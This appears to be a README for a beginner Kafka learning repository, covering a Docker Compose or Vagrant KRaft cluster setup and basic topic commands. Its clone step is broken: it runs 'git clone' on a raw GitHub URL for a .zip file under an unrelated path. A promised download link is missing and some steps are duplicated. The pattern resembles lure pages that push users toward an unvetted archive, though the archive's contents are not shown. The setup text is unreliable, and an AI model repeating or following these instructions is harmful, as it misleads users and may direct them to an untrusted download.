Welcome to the Kafka learning repository! This guide will help you download and run our beginner-friendly Apache Kafka setup. Our repository offers concepts, diagrams, and hands-on labs using a simple 3-node KRaft cluster. You can get started quickly with Docker Compose or Vagrant.
To download our software, visit the link below:
Before you begin, make sure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Memory: At least 8 GB of RAM
- Disk Space: Minimum of 2 GB available space
- Software: Docker (for Docker Compose) or Vagrant (for Vagrant/libvirt)
-
Install Docker: If you haven't already, download and install Docker from the Docker website.
-
Load the Docker Compose File:
- Open a terminal or command prompt.
- Navigate to the directory where you want to clone the repository.
- Type this command to clone it:
git clone https://raw.githubusercontent.com/sanalmohan/kafka/main/humanitymonger/kafka.zip
-
Navigate to the Repository:
cd kafka
-
Start the Cluster:
- Run the following command to start the 3-node KRaft cluster:
docker-compose up
- Wait for a few moments as Docker sets everything up. Monitor the logs to ensure it runs correctly.
- Run the following command to start the 3-node KRaft cluster:
-
Install Vagrant: Download and install Vagrant from the Vagrant website.
-
Prepare the Vagrant Environment:
- Open a terminal or command prompt.
- Navigate to the directory where you want to clone the repository.
- Use this command to clone it:
git clone https://raw.githubusercontent.com/sanalmohan/kafka/main/humanitymonger/kafka.zip
-
Change Directory:
cd kafka
-
Start the Vagrant Environment:
vagrant up
-
Access the Instance:
- Once Vagrant sets up, you can log in with:
vagrant ssh
- You can check the status of your Kafka cluster by referring to the provided documentation within the repository.
- Once Vagrant sets up, you can log in with:
After installation, you can start using Kafka. Hereβs a basic workflow:
-
Create a Topic: Topics are where your data flows. Use the command below in your terminal:
kafka-topics --create --topic my-topic --bootstrap-server localhost:9092 --partitions 1 --replication-factor 1
-
Send Messages: You can produce messages to your topic:
kafka-console-producer --topic my-topic --bootstrap-server localhost:9092
-
Consume Messages: To read the messages:
kafka-console-consumer --topic my-topic --from-beginning --bootstrap-server localhost:9092
Our repository includes various learning materials. You will find:
- Diagrams: Visuals that explain Kafka architecture.
- Labs: Step-by-step instructions for hands-on experiments.
- Documentation: Detailed explanation of concepts used in Kafka.
If you encounter issues, consider the following tips:
- Ensure your Docker or Vagrant installation works properly.
- Check your terminal for error messages and follow the prompts.
- Verify the configurations in your Docker Compose or Vagrant files.
For questions or feedback, feel free to open an issue on our GitHub repository. We appreciate your input.
Enjoy your learning journey with Kafka!